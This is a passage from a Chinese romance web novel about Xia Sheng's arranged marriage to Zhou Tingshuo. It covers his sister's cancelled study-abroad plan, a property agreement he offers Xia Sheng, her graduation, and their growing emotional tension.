“唉算了,反正也没人支持我留学。” 她脸上的失落没有假,夏声想了想给周庭朔发条消息。 【你为什么阻止娇娇去留学?】 没过几分钟,他的电话打来,夏声看眼周仪娇,接通。 周庭朔:“你在哪?” 夏声:“跟娇娇吃饭。” 对方沉默片刻:“她应该没跟你说,为什么要出国留学吧。” 坐在对面的周仪娇大概听出她是在跟周庭朔通话,眼神时不时飘过来,表情紧张。 周庭朔:“晚上回西苑吃饭,当面说。” 本来今天也约好回去,周灵熙前两天说做了本手帐,要送给她。 夏声:“好。” 挂断电话,夏声先错开这个话题。 下午周仪娇拉着夏声去逛街,哪怕现在周庭朔还扣着她护照,但安排她的任务她还依然记得完成。 “嫂子,你这个月账户消费又严重不足, 回头我哥要说我的。” 夏声也不推拒,去买了一套紫砂茶具,还有护肤品美容仪,反正七七八八一大堆,晚上吃饭时一起送到周家。 她们回去的时候,周庭朔刚好下车准备进门,看她手里提着一堆东西,走过去很自然的接过。 两人并肩进门,说了两句话。 “学校那边很忙吗?” “还好。” 那就是不忙,但自从她回到学校,鲜少主动联系他,甚至给徐姐视频要看看福宝,都没有给他打电话。 周庭朔已经很清楚地意识到,她在疏远自己。 一进门,周灵熙就跑过来迎她,夏声被她拉着去看手账本,周庭朔将东西给薛宁玉。 最近这几个月,夏声总时不时给她买东西,薛宁玉知道她有心,更是满意她嫌弃自己儿子。 “声声,下次来别浪费钱买东西了,你来吃饭妈妈就高兴的。” 夏声笑道:“不浪费,反正也是花庭朔的钱。” 花他的钱,却一分不用在她自己身上,周庭朔敛起神色,压住心里那股烦躁。 吃饭时,周灵熙偏要坐在夏声旁边,连周庭昀都惊讶。 “看来我这个爸爸也不如小婶婶啊。” 他转而调侃自己的弟弟:“阿朔,你娶了个好老婆,可要好好珍惜啊。” 周庭朔放下汤匙,余光撇见夏声正给周灵熙盛汤,低声“嗯”了下。 他未必不珍惜,只是有人在刻意将他往外推。 吃完饭还早,周灵熙本想拉夏声去她房间,被周庭朔制止。 “叔叔跟婶婶有事要说,你先回房。” 小姑娘撅着嘴,恋恋不舍看眼夏声,随后转身嗫嚅着。 “有什么事,你们不能回家说吗?” 会客厅的落地窗前,夏声捧着一杯热茶,看窗外。 其实已入夜,外面黑岑岑也看不清什么,倒是周庭朔的身影倒映在光洁的玻璃上,正定定看着她。 “你毕业有要搬的东西没,我差人去帮你。” 夏声抿口茶,摇头:“回头我自己搬就行。” “你还没说,娇娇出国留……” “夏声。”周庭朔看着她,眉眼压低,“先说我们的事。” 握着茶杯的手收紧,她转过头来对上他的视线。 周庭朔端坐在对面,目光锐利而直接,像是将她剖白看穿。 “你为什么躲着我?” 第46章 第46章我不能吻你吗 其实夏声知道,他早晚会察觉。 倒不如趁现在这个机会,说清楚。 “我想,严格来说我这算不上躲。” 她尽量语气平和,眼睛直视着他,不躲不闪,堂堂正正。 “你应该还记得,我们一开始时做得约定。” “不过分干涉彼此生活,相安无事,互相配合。”她看到他眸光渐渐变得幽深,唇线抿直,仍坚持说完,“现在这个状态,不就是这样。” 拿从前的话,来堵现在的他,周庭朔试图在她的表情中找到破绽,未果。 “如果我说我要改变这个状态呢,那个约定作废。” 夏声眼神流露出疑惑,似乎十分不解他提出的这个提议。 “我觉得没必要,况且约定是我们两个人做的,有共识为什么要改。” 他还要说什么,夏声却转头叫住远远路过的周仪娇,将她喊过来。 周仪娇不情愿地磨蹭过去,转动眼珠观察,明显感觉到她哥平静的外表下,是山雨欲来的前兆,她这会简直是撞枪口。 夏声拉着周仪娇在旁边的椅子坐下,直接开启下一段话题。 “你到底为什么不同意娇娇留学。” 周庭朔凝着眉看她一会,随后缓慢转动视线瞥向周仪娇。 被盯上的后者,后背一紧。 “你自己说,还是我帮你说?” 从没有一刻,她的嘴闭得这么严,像是被502胶封锁了一般。 周庭朔不留情面地开口:“她出国是为了追随苏晋,公司外派他去国外驻总,一共三年。” 夏声不可置信地看向周仪娇,见她心虚地低着头,知道这事只真不假。 看来上次小酒馆的释然只是她短暂放下,过后还是忍不下心离开。 周庭朔没有给她商量的余地。 “你要是真的想留学,想上进,甚至只是为了出去疯玩挥霍一阵,我都不会干涉。” “但你为了个男人,去规划自己的未来,浪费自己的人生,我不允许。” 周庭朔靠坐在椅子上,表情冷肃,俨然一副落字为定的模样。 这话是说给周仪娇听,却也像一鸣警钟,震击着夏声的心。 这一刻,哪怕她情感上是站在周仪娇这边,但理智上却认同他的观点。 她忍不住劝两句:“娇娇,有些时候单方面的付出对对方来说,反而是负担,你这样有可能将他越推越远。” 气氛变得沉重,周仪娇始终低着头,紧紧咬着嘴唇不出声。 不甘与痛苦轮番上演,她禁不住,默默闭上眼。 一滴泪落在白色的裙摆上,留下一块湿润的水迹。 夏声还是心软,只好看向周庭朔。 “就一定要派他出国吗,或者能不能换其他人?” 没等周庭朔开口,周仪娇便抬起头:“不,我不想因为我的原因,影响他的前途,不用换人。” 她抿了抿唇:“我不出国了。” 决定做得痛苦,周仪娇哭得伤心,夏声只好陪着她一起回房,又留下来呆了会。 为了分散周仪娇的注意,她故意说些公司的趣事,起码别让她深陷情绪泥潭。 比如赵文宾坚持做所有人工位卫生,保洁阿姨怕失业,跟他争着干活还大吵一架。 比如公司角落的地毯总是湿漉漉,一个月后才破案,是新来的实习生不知道窗角的绿植是假的,每天勤恳浇水,最终花不见长地毯却长霉。 …… 说了半天那点闲事都讲得差不多了,总算把人情绪稳住,周仪娇吸吸鼻子跟她道谢。 “谢谢你嫂子,也帮我跟我哥说声谢谢。”她顿了顿,“顺便让他不要为难苏晋,不关他的事。” 夏声点头,看时间差不多,便准备离开。 走之前还有些担忧她:“娇娇,去洗个热水澡,好好睡一觉,没有什么事过不去,也没有什么人忘不了。” “晚安。” 她下楼时周起岩正跟周庭朔说话,见她下来便拍拍他的肩示意两人可以回去了。 在长辈面前,彼此还算有默契,周庭朔起身拿着夏声的包,跟她一同出门。 刚走出没多远,夏声就把周仪娇要求不要为难苏晋的话转述给他。 初夏的夜沉静,地上映出两人分离的影子,其中一个停下脚步。 “如果我为难他,就不会安排他出国晋升。” 周庭朔转身:“你就这么不信任我的人品?” 此刻月光下的她长发乌黑,眼睛却要比天上的星还亮,她站定在他两步之外,浅淡笑着。 “当然信任,只是代为转答而已,别介意。” “时间不早了我先走了。” 车就在不远,她抬手要接自己的包,却发现周庭朔不肯松手。 他垂眸,眉心紧簇:“你还要回学校?” “嗯,过两天答辩完就回去,很快。” 夏声又扯了两下包带,他才松手,随后开口。 “明天有时间,来我公司一趟,有份文件要签。” 已经快到闭寝时间,夏声也没多问,回头拉开车门上车。 “知道了。” 转天夏声差点将这事忘记,还是他发来信息提醒,要她下午两点去明箴一趟,才想起来昨天答应过的。 她一路上都在想,他们之间还有什么文件要签,直到上到三十二层,看到办公室里的卓冕。 桌上摆放着两份文件,夏声扫了一眼,是婚内财产协议。 周庭朔让秘书送来咖啡,示意夏声先坐下。 他拿起一份递给她:“看看吧,要是有什么问题,可以让卓冕当场改。” 被提到的人坐在单人沙发,随身电脑就放在面前桌上,冲她点点头。 “协议我按照他的意思亲自拟的,他还算大方,几乎是分了一半资产给你。” 夏声一头雾水,随手翻了几页,一大排房产基金股份信息看得她眼花。 翻到明细最后一页,统计后的数额一长串,她数了三遍都没敢确认。 抬起头,她看向坐在旁边喝咖啡的周庭朔,欲言又止。 “有问题?” “有。”夏声将协议放下,“为什么要签这个?” 他们在婚前是做过财产公证的,这在联姻中很常见,夏声以为双方是默认为财产分开,干净明了。 对面的卓冕将协议翻到签字页,推给她。 “这是对你的一份保障,哪天真要他对不起你,分走这些财产,也算不亏。” 周庭朔放下咖啡,睨了他一眼,对方不示弱地回看他。 他收回目光转向夏声。 “我给你的卡你觉得不是自己的钱,不愿意花。” “现在这些都是你的,以后你该怎么支配都可以。” 眼前的协议,签字栏一方已经签好他的名字,夏声却犹豫。 “我要考虑一下。” 周庭朔摩挲着手指,须臾点头,又转向卓冕。 “有需要改动的地方,我通知你。” 这是委婉逐客,卓冕视线在两人之间流转,随后关上电脑,起身告辞。 等他走到门口时,突然听到夏声“哎”了声,顿住脚步回头,发现她正被周庭朔拉着手腕,抵在办公桌前。 “出去劳驾关下门。” 周庭朔单手撑着办公桌,圈着夏声,不忘分神关注他是否离开。 卓冕咬紧下颌线,几次想开口,可他们是夫妻,他没有可以置喙的余地,于是只能握紧门把快速开门走出去。 办公室恢复安静,夏声被攥着手腕,挣了几下却不见他松开。 “周庭朔,你弄疼我了。” 下一秒,她得了自由,刚想溜走,他空出的手撑上办公桌另一侧。 现在,她整个被圈围,心里不免警觉起来。 “你想做什么,这里是你办公室!” 他不为所动,问:“这几天到底发生了什么,告诉我。” 夏声无法开口,总不能说因为发现他不喜欢自己,所以失望难过吧。 那次在西苑吵架,她曾信誓旦旦说过不会向他讨要爱情,如今再来斤斤计较,简直是回旋镖正中靶心。 “什么都没发生,你不要无中生有,一切都好好的。” 他轻笑一声,笑意却未达眼底。 “一切都好好的……”他琢磨着这句话,反问,“是吗?” 像是为了确定答案,他迅速钳住夏声的下巴,俯身低头。 熟悉的气息靠近,她几乎立刻偏头避开。 “你躲我。” 周庭朔的眸色暗沉下来,似乎已经得到答案,但却无法接受。 “为什么从前可以吻你,现在不可以?” 他略微用力,让她正视自己,语气放得低缓。 此刻,虽然他在俯视夏声,却无端陷入一种被动,是远在状况外无法掌控的被动。 夏声的唇就在眼前,不过一拳的距离,他目光回到她的眼睛。 “作为丈夫,我不能吻自己的妻子吗?” 他最懂如何设置问题,来得到他想要的答案。 夏声又一次被他绕住,开口回答。 “可以是可以,但……” 剩下的半句转折被吞没在他的唇齿间。 夏声被他扣住腰身,挣脱不得,呜咽声在胸腔震颤。 他的吻来得又急又狠,似乎要将她吞吃入腹。 身前的身体如同一块实心烙铁,又硬又沉根本推不动,夏声只能向后仰,双手摸索着桌面,企图支撑身体。 过程中不知道碰到了什么,“哗啦”一声,有东西被推到地上。 夏声想去看,却被他夺回注意力。 “专心。”他贴着她的唇,吐出这两个字,便又将她的话堵回去。 一切都乱了套,他就像吻上了瘾,唇舌毫无保留的侵占,夏声根本无力招架,甚至呼吸都被他夺走一半,有些缺氧般晕沉。 她不知何时攀上他的脖子,更不知何时被他抱坐上办公桌。 只知道她又一次被他攻城略地,引诱得缴械投降。 气氛渐渐有些失控,当周庭朔的手探向她的侧腰时,办公室的门突然被敲响。 混沌的意识骤然回笼,夏声猛地咬了他一口,终于让他停住动作。 感觉到唇角的刺痛,周庭朔略微退开,手指蹭下,果然见了血。 夏声趁机跳下办公桌,站在一旁整理衣服。 门口的人仍在敲门,周庭朔沉着嗓音问。 “什么事?” 秘书以为可以进,刚推开门,就看到站在办公桌后面红耳赤的二人,而桌子下还散落着满地文件。 这场面,吓得她没敢看第二眼,立马退出几步关上了门。 周庭朔舌尖碰下唇角,偏头看向已经社死成木桩状的夏声。 “怎么办,你咬我这件事,大概明天就能传遍整个公司。” 第47章 第47章上瘾 没有一刻比现在更丢脸,夏声恨不能找个地缝钻进去。 她狼狈地看向周庭朔,眼神闪烁。 “你让她不要声张,不行吗?” 周庭朔转身靠站在办公桌旁,表情淡定。 “公司员工有言论自由,我无权干涉。” 这简直荒谬,夏声死死盯着他,眼里怒意聚集。 他分明是故意放任,不想管。 夏声脸皮薄,一想到出门会遇到刚刚的秘书小姐,就头皮发麻,但她更不想跟这个人待在一起。 将掉在地上的包捡起来,她僵着脸从他面前走过。 “那就让他们传,反正我们一起丢脸。” 出门后,夏声恨不能脚下生风,连秘书处的人跟她打招呼都没理。 低着头钻进电梯,脸烫得能煎鸡蛋。 “该死的周庭朔,怎么原来没发现他有这么恶劣的一面!” 身后的办公室里,秘书小姐进门将需要签字的文件放在桌上,眼睛根本不敢往老板脸上瞟。 见老板开始签字,便弯腰将地上散落的文件全都捡起来整理好。 再站起来时,周庭朔已签完停笔,不带情绪地眼神看着她。 不过几秒,秘书已意会。 “周总放心,今天的事我一个字也不会透露出去。” 他将文件递给她,语气淡淡。 “前两天你跟人事请了两天假,还没批是吗?”见她有些紧张地点头,又道,“一会我会通知他们,直接批你五天带薪假,去吧。” * 夏声的答辩在两天后的下午,她的论文在导师那早就过关,答辩的过程也十分顺利。 当天,她们寝室四人都给自己的大学生涯交上最后一份答卷。 晚上寝室夜话,金楠楠问她,过两天的结业式去不去参加。 夏声去不成,她那天公司有事。 “啊,那我们走那天不会你也有事吧?” 金楠楠从对床坐起来,就着手机灯光看向她这边,夏声赶紧承诺。 “不会,你们走那天我一定在这送你们。” 她们几个约好同一天走,省得剩下的人看着空了的床位和寝室,心里难受。 当天,夏声开着车将几个人送到机场,沈习诗跟赵茹的航班时间差不多,先走一步,金楠楠的要晚一些。 夏声陪她等到飞机值机,临走前金楠楠还是没忍住红了眼眶。 转头抱着夏声呜呜哭起来。 “声声,我好舍不得你啊,下次见面不知道要什么时候了。” 原本夏声就是强忍着难过,她实在不想把场面弄得生离死别一样,于是掏出纸巾给金楠楠擦眼泪。 “你放心,我只要有时间,一定去你那看你。” “好了别哭了,万一一会上飞机,刚好遇到帅哥艳遇,你哭丧着脸岂不是错过好 事。” 一听这个,金楠楠终于破涕为笑。 “那我一会得去卫生间补个妆。” 夏声拍拍她,推她进去,在身后跟她挥手。 “落地记得报平安。” 再次坐回车上,夏声脸上的笑落下,透过后视镜看眼空荡荡的后座。 早上来时,车里热热闹闹,赵茹还在后面给她们唱歌,现在只剩她自己。 她打开寝室四人群,编辑信息发送。 【夏声:祝我们前程似锦。】 后来,这条信息下出现了其他人的回复。 【赵茹:祝我们一路繁花。】 【沈习诗:祝我们青春永驻。】 【金楠楠:祝我们友谊长存!】 夏声回到碧水华汀,她学校的行李不少,零零碎碎好多重要不重要的,她都带了回来。 想了想,她将东西都收进客卧。 晚上徐姐见她似乎心情不太好,特意做了她爱吃的麻辣小龙虾。 夏声正坐在那嗦虾尾,玄关处响起开门声。 周庭朔进门,刚好跟她远远对视上,两人已有几天没见,一时谁也没说话。 还是徐姐打破沉默。 “先生回来的正好,去洗手可以开饭了。” 桌上饭菜摆好,夏声仍旧沉迷拆小龙虾,周庭朔坐在她对面,看了眼在她旁边堆成小山的餐余,又看下她低垂的眉眼。 联想到她今天正式毕业,只怕是化情绪为食欲。 两人各吃各的,一时倒也和谐。 直到夏声放在旁边的手机响起来,她低头看眼,是寝室群发起的视频群聊。 她手上带着一次性手套,刚想摘掉拿手机回房间接通,徐姐从后边过来。 “太太不方便,我帮您接吧。” 说话间,屏幕已进入视频界面,紧接着其他几人的画面出现。 沈习诗作为发起人,最先表示离开大家的思念之情,结果被赵茹狠狠嫌弃。 “快算了吧,以前放假,数你跑得最早回得最晚,这才分开一天,你就假惺惺想了。” “那人家说了自己是妈宝女嘛。” 金楠楠好像正躺在自己卧室,给她们拍了下自己周围的环境。 “又回到我自己的狗窝了,确实还蛮想念大家一起住的感觉。” 转眼看见夏声一直没说话,凑近屏幕看了会。 “声声,你嘴巴红红的,吃什么好吃的呢?” 闻言,夏声只好擦擦手,翻转镜头将桌上满满色香味俱全的菜品拍给她看,还着重展示她吃了大半的小龙虾。 果然引得她们一顿谴责。 “太坏了,你居然自己偷偷吃香喝辣,早知道你们家伙食这么好,之前去你家蹭几顿饭好了。” 夏声拍菜品的时候,大概有一瞬照到了周庭朔的手,沈习诗眼尖一下就发现了。 她压低声音:“你家那位是不是也在啊?” 夏声抬眼看向对面,周庭朔刚好夹了一块排骨,放进碗里。 他倒是听见了,淡声开口:“如果以后你们有机会来京市,欢迎来我家做客。” 只要不是八卦时刻,金楠楠总时不时冒出超绝钝感力,她坏笑着接话。 “声声你有好事总不说,之前为了不让我们知道你结婚,还给人备注成周先生,告诉我是个老板,你也是真能藏。” 那次他打来电话,恰好被金楠楠看到,结果被记到现在。 夏声夹菜的手一顿,没去看对面人的眼神,又跟她们匆匆聊了几句,挂断电话。 刚刚只顾说话,她吃得慢一些,周庭朔此刻已经吃完,他安静坐在对面,须臾抬手拿起电话。 下一秒,夏声的手机响了。 屏幕上大喇喇地显示着“周先生”三个字。 他挂断电话,嗓音听不出情绪。 “所以,我的备注一直都是这个?” 其实夏声自己没觉得有什么问题,只是一个备注而已,她“嗯”了声。 身后正在收拾厨房的徐姐笑着插话。 “太太怎么也不改一下,听着多生分啊。” “忘了。” 她吃虾已经差不多半饱,饭吃几口就差不多,于是起身去洗手,顺便给馋猫福宝拿支猫条。 小家伙在她脚边急半天了。 一人一猫走进客卧,将门关得严严实实。 半个多小时后,徐姐收拾完餐桌离开,周庭朔起身敲响客卧的门。 夏声拉开条缝,眼睛盯着门外,显然不想出来,也没想让他进去。 “怎么了?” “拿东西。” 夏声狐疑地看着他:“你的东西不都在主卧吗?” 不过这是他家,倒也有可能有什么放在这。 周庭朔擦着她的肩膀进门,看见地上收拾了一半的行李,微微蹙眉。 “怎么不放主卧?” 福宝正藏在放杂物的纸箱里,听见他靠近的声音,突然跳出来给他一喵拳。 他向前的脚步顿住,表情有一瞬间凝固,小猫咪顶着贱兮兮的表情,显然是在跟他玩。 夏声没忍住笑出声,上前把福宝抱出来。 “东西太杂,放那边怕再弄乱房间,就放这吧。” 周庭朔四处看眼,走到里间的浴室。 夏声坐在床上,按着福宝吸猫头,小猫咪喵喵抗议,嗓子里却打着呼噜。 周庭朔出来时,看到的就是这幅场景。 她闭着眼睛,抱着福宝将半张脸埋在它毛茸茸的胸前,蹭了又蹭,似乎十分满足。 所以,猫比他好抱? 又想起她给自己的那个备注,他语气都冷了两度。 “它该减肥了。” 福宝虽然有煤气罐潜质,但还不算很胖,夏声已经在有意控制它的饮食。 抬头看向他,发现他就拿了一套洗护用品出来。 “给它少吃点就行。” “对了,今晚我收拾东西可能比较晚,你先睡吧。” 她打得什么算盘,周庭朔一清二楚。 又打量了眼房间,特别是她此刻坐着的床,他点点头,长腿一迈走出去。 夏声晚上根本没好好收拾东西,直接在客卧早早睡觉。 她准备第二天晚上故技重施。 结果当天公司有急事,加班到九点多才回去,一进门就发现福宝的猫窝猫爬架都放在客厅,小猫咪一脸懵地围着自己的家当打转,显然不明白为什么自己被驱逐出卧室。 夏声走到客卧,才发现里面空空如也,什么东西都没有了。 这下她也一头问号,转身刚好见周庭朔从书房出来。 见她愣在那,他缓缓开口:“其他几个卧室准备重新装修下,家具都先搬出去,你的东西已经放到主卧了。” 夏声:…… 亏他想得出来。 夏声略有深意地看他一眼,率先回主卧去洗澡。 等她洗好出来,他正靠坐在床头。 房间里只开了床头灯,暖调的光打在他脸上,倒显得五官线条柔和许多。 他穿着黑色暗纹睡衣,领口的扣子没系全,漏出半边锁骨,白的晃人。 夏声迅速别开视线,绕到自己那边,掀起被子躺进去,两人中间宽得甚至还能再躺进一人。 身旁床垫微动,随及室内陷入黑暗。 她刚转身朝外,就被腰间的一只手向后捞走,中间的空间不复存在,两人瞬间紧密相贴,像是左右相邻嵌合的两块拼图,不留一丝缝隙。 一连串的动作,没给她任何反应时间,夏声想推开腰间的手臂,却发现他用了力。 “别动,就抱一会。” 从她回学校,他已经独守空房半个多月。 开始的几晚,周庭朔躺在床上翻来覆去,看着枕边空出的一半,总有种焦躁难安的感觉。 此刻将她拥入怀里,那种踏实妥帖才再次回来。 被抱着的夏声屏着一口气,现在的她已做不到毫无负担地跟他亲近,想着他要是得寸进尺再想做什么,她就要开诚布公,跟他好好约法三章。 没想到他只是将头埋在她的颈后,蹭了蹭。 “睡吧。” 身后的周庭朔闻着鼻息间熟悉的馨香,闭上眼睛惬意地勾起嘴角。 突然能够理解她为什么那么爱吸猫了。 是会上瘾的。 第48章 第48章犹豫 一连几个晚上,夏声都被他圈在怀里睡。 哪怕入睡时,她自己好好躺在一边,半夜仍会感觉到有人将她揽进怀里。 她实在是有些烦,某天吃饭时,问周庭朔。 “你说客卧装修,怎么没见人来施工?” 对面的人从容淡定:“方案还没定好,也不急着住,等等再说。” 他不急有人急。 这几天天气热,夏声没什么胃口,吃了两口就放下筷子,去逗福宝。 小猫咪似乎也因为入夏,最近不爱喝水吃得也不多,怕它尿闭,夏声每天都要骗它喝水。 她蹲在地上,给福宝开罐头。 嘴里念念有词:“是不是福宝不能住自己房间,也不习惯啊,所以才不好好吃饭喝水。” 这话不轻不重地落到周庭朔耳中,后者看着她的背影,沉默不语。 夜里,周庭朔去运动,夏声洗漱完捧着一杯冰水,在客厅电脑前清邮件。 最近有两个国外的订单,她需要跟对方沟通合同细则,等回完邮件她又陪福宝玩了会,才拿着手机回卧室准备睡觉。 周庭朔刚好运动完,跟她在门口遇上。 他脸上带着薄汗,额前几缕发湿着搭在眉间,身上散发着运动完的热意。 夏声让他先进,视线交错时,刚好看到他下颌几缕水迹顺着脖颈没入领口,贴身的T恤隐约勾勒出他略微充血的肌肉线条。 一瞬间,她别开视线。 回到卧室,周庭朔将手机放在床上,先去洗澡。 夏声将空调温度调高一度,钻进被子,准备睡觉。 只是手机一直有消息提醒,她解锁屏幕,发现是安真在群里刷屏。 【安真:姐妹们,我马上就杀青了,准备恭迎熹贵妃回宫!】 【安真:等我回去要大吃特吃一顿,你们谁请?】 【安真:什么意思,不欢迎?】 【周仪娇:双手欢迎.jpg】 【夏声:什么时候回来,要不要接你?】 对面浴室的门打开,夏声一心在聊天,也没关注。 直到一只手臂出现在她视线里,她下意识看过去,周庭朔正站在床边,弯腰拿手机。 视线里,先是他的睡裤,再往上便是他赤膊的上身,肌肉薄厚适度,覆在他腰腹胸前,胳膊撑在床边,肩膀发力的肌理清晰,带着蓬勃的力量感。 夏声无法直视,转过头又觉得不对:“你干嘛不穿衣服?” “热。” 他将空调又调低一度,随手将睡衣穿上,只系了两个扣子,露着大片领口。 穿了也没比不穿好到哪去。 夏声有些心猿意马,转过身关掉手机,闭眼准备入睡。 模模糊糊感觉到身旁有人上来,灯光变暗,接着她便睡了过去。 只是这一觉,全是梦。 先是梦到读书时参加运动会,在场边为安真加油,结果对方怎么也跑不快,自己急得直跺脚。 转眼画面又变成跟着周庭朔学骑马,他牵着缰绳帮她引路,结果她左摇右晃怎么也控制不好平衡。 睡梦外的身体也跟着翻来覆去,极不安稳。 周庭朔刚刚入睡,就被她弄出的动静吵醒。 她折腾几圈,被子早已落到旁边,周庭朔刚掀起来准备给她盖好,人一翻身滚进他怀里。 夏声的腿搭在他的膝上,整个人半趴在他身前,柔软的胸腔一起一伏,压在他的心跳上。 清浅的呼吸刚好落在他的颈侧,温热微痒,仿佛羽毛刮在他的心尖,让他的心跟着颤动。 似乎姿势不太舒服,她哼了声,又想翻身回去,被他抬手扣住了腰。 周庭朔知道夏声还在排斥他。 两人同床共枕这一个星期,他一直压抑着自己,但此刻温软满怀,心底里那股燥热终究压制不下去。 他哑着嗓子,低声念着她的名字:“夏声。” 梦境中的夏声已经下马,她在马背上时马儿野得不像话,等她下来又温顺地过来蹭她的脸。 脸颊被马湿热的吐息扫来扫去,夏声躲避不开却听到有人在叫她的名字。 一声一声,孜孜不倦。 她恍惚间从梦境抽离,意识回到现实,才感觉到自己身下压着另一个人。 周庭朔正低头凑在她耳边,唇贴着她的耳廓,温热的气息扑在脸颊旁。 这感觉让她脊背升起一阵酥麻,夏声呼吸顿滞,刚想闭着眼假装没醒,挣脱出去。 耳边已传来他浓稠暗哑的声音:“别推开我,好吗?” 他转身,将她轻置在床上,唇从耳边移到她的眼角、眉心、鼻尖。 夏声刚从梦境醒来,还不十分清醒,被他温柔地吻着,手心不觉间生热。 还带着困倦的声音控诉:“你别闹我,很累了。” 然而,他动作却一刻不停:“没关系,不要你做什么。” 夏声抬手想阻止他的行动,触手摸去便是他轮廓饱满清晰的胸肌,这人不知道什么时候将睡衣弄没的。 见她手停留在一处不动,他握上她的手腕,循循善诱,一路滑过胸腹间的肌理。 而他嘴上也没闲着,将夏声锁骨上的那枚小痣吻了又吻。 再纠缠下去,夏声不确定自己还能不能抵守底线。 她抬手捂住他的唇:“别,我不想。” 上方的身影停顿,良久,在她额头落下一吻。 “好,你睡吧。” 他起身,将被子重新给她盖好,独自下床推开卧室门出去。 身旁的位置仍留有余温,夏声抱着被子,也没了睡意。 所以,他即使不喜欢自己,也会对她情动? 果然男人是能将情与欲分开的动物。 卧室里黑漆漆,夏声数着心跳等睡意,结果等来一身寒凉的周庭朔。 他似乎顾及着什么,再次回来刻意躺在离她稍远的位置。 没再碰她,也没再说话。 沉沉的夜色里,夏声听着身边平缓的呼吸,彻底睡不着了。 平心而论,周庭朔是个合格,甚至优秀的联姻对象,给了她绝对的自由与尊重。 就算他不喜欢自己,那也不是他的错,而是联姻天然存在的本质问题。 只不过,感情总是寻求平等,过分索取。 夏声从前从不在意他对自己的看法,而今却做不到。 一夜时间足够漫长,够她重新下决定。 不如就回到最初,她还不知道自己心迹的时候,不去索取不再期待,也许反而相处得轻松。 第二天一早,夏声一转态度,和声细语地跟他互道早安。 云声文化接下来的两个国外订单批量很大。 要想按期完成,凭之前合作的厂家,给出的工期实在太短。 夏声只能再去联系其他供货商,筛选资质,评估是否可以合作。 她一边跑厂家,一边还要盯着韩子弋那边。 这次是她们第一次出云声IP的文创产品,韩子弋设计的第三版概念图是最符合她心理预期的。 不过接下来还要调整,将细节打磨下。 夏声想打造具有国风元素的品牌形象,但要想走出去,也要适当融合流行元素,甚至国外当地的文化。 她白天忙着下工厂,只有晚上才有时间看相关资料,有几次忙得太晚,直接就在公司过夜。 这天周五,夏声正跟韩子弋讨论图创的定版问题,赵文宾敲了敲办公室的门。 “夏总,周先生来了。” 自从上次她连着两天睡在公司,后来每天周庭朔下班,都要刻意拐到她公司,接她一起回去。 但夏声手上的事还没忙完,她让赵文宾转告,自己还有工作要做,让他先回。 韩子弋在电脑前看了半天,只圈出一处她觉得需要细微调整的细节,转头抱着手臂靠在椅子上。 “我觉得这样改改就差不多,你赶紧跟你 老公回去吧,别搞得好像公司没你不行。” 她坐在夏声电脑桌前,一副反客为主的姿态。 夏声手撑在办公桌上,弯腰看屏幕,眉心轻蹙,又指出一处需要标记的地方。 “你别想偷懒,今天不把图版修改意见定下来,咱们俩谁也别想走。” 会客室里,赵文宾给周庭朔送进一杯茶,便先退出去。 玻璃门没关,周庭朔坐在靠近门口的位置,间或能听到对面夏声跟人争论的声音。 她工作起来,偶尔会有吹毛求疵的时候。 韩子弋是搞艺术的,加上性格散漫惯了,好多时候不喜欢条条框框束缚下创作的产物。 但夏声要考虑市场反馈,每一处细节都要顾及。 两人从开始还能平心静气讨论,到后来就有些剑拔弩张的火药味。 赵文宾几次从办公室门口路过,都怕两人从里面打起来。 今天秦总不在,要是真吵架,自己肯定是不能去拉,他转头看向会客室里的周庭朔。 这人双腿交叠,姿态闲适地坐在沙发上,视线落在手中的手机屏幕上,仿佛完全没听到隔壁的动静。 似乎察觉到他的目光,才缓缓转过头来。 “周先生,要不……您去看看吧,都等一个多小时了,我估计夏总以为您已经走了。” 周庭朔看眼对面办公室紧闭的门,没有一点不耐烦的意思。 “不急,让她忙吧。” 赵文宾挠挠头,不是怕她忙,是怕她们打起来啊。 两个小时后,夏声办公室的门终于打开。 韩子弋一副抽干精气的样子,面无表情地走出来。 今晚她还要改出两版稿,简直没有人性,她在心里无声呐喊。 天杀的,之前自己为什么要上夏声这条贼船。 公司早就过了下班时间,夏声从办公室出来,看赵文宾还没走,顺嘴问了下。 “你怎么还没下班?” 对方指指会客室,夏声才看到周庭朔还在等她。 “你……没回去啊?” 他收起手机:“嗯,怕某人又不回家。” “忙完了吗?” 其实她还有点文件没看,但实在不好意思再让他等。 于是点点头:“忙完了。” 回去的路上,周庭朔开车,因为不知道要等多久,他就让司机先回去了。 等红灯的路口,他突然转过头,看着她。 “妈问婚礼定在下半年可以吗?” 夏声原本靠着车窗在放空,听到他的话立刻坐直起来。 毫无防备的表情,喃喃重复一遍。 “婚礼?” 看到她的反应,周庭朔的眼神沉了沉。 握住方向盘上的左手,婚戒闪着冷光。 红灯变绿,他收回视线驶离路口,车厢内谁也没再说话。 周庭朔的心却冷下来。 他看得很清楚,在听到婚礼那一瞬间,夏声犹豫了。 第49章 第49章帮我 隔天,薛宁玉需要出席一场慈善拍卖会,周仪娇有事不能去,夏声便去作陪。 两人挽着手臂,犹如亲母女。 刚进门不久,就看到远处万荣集团的冯太太,她派头很是大,穿得珠光宝气叫一众人围着。 一眼注意到她们,昂首阔步地走过来。 “哟,这不是周太太,倒难得见你参加这种场合。” 薛宁玉平时不太爱掺和这些虚情假意的社交,今天是好友主办的善拍,她不得已来捧场。 “嗯,不比冯太太善心,经常参加。” 一旁的夏声总觉得这对话火药味十足,没想到一会战火就烧到她这。 “这是……夏小姐吧,哎呀真是一不小心才看见呢。” 这话多少有些阴阳怪气,不过夏声还是礼貌应对:“冯太太。” “之前我以为你们家那么挑剔,能选个条件多出挑的媳妇呢。” 她话未说完,意思却表达全了。 今天夏声穿了件水蓝色抹胸半裙,款式素淡,只在腰侧做了水波纹状的掐褶,她身上也没带什么首饰,只有手上的一枚婚戒。 拜高踩低在任何圈子都常见,她并不在意。 只是旁边的薛宁玉听不下去,反驳她。 “是,不比你家冯培,娶了省长家的千金,只要哄好亲家,就有好前途。” 商政结合,是冯家高攀,前两天冯培被省长千金当众甩脸色的视频,传得到处都是。 冯太太闻言瞬间变了脸色,冷哼一声转头就走。 等人走远,薛宁玉才跟夏声介绍原委。 “几年前她们家小女儿想跟咱们家结亲,那时候庭朔心思不在这,拒绝了。” “谁想这女人就记恨上,回回遇见都要给我添堵,她不是冲你,你别放心上。” 夏声笑着点头,看向远处迎上冯太太的身影:“不过我看她女儿倒不像她,挺有大家闺秀风范。” 薛宁玉表示赞同:“当时我是看好这姑娘的,只是庭朔见了一面,说不合适,就不了了之。” “不过也庆幸,最后是你嫁进我们家,不然天天对着那么个亲家,我怕要早早气死。” 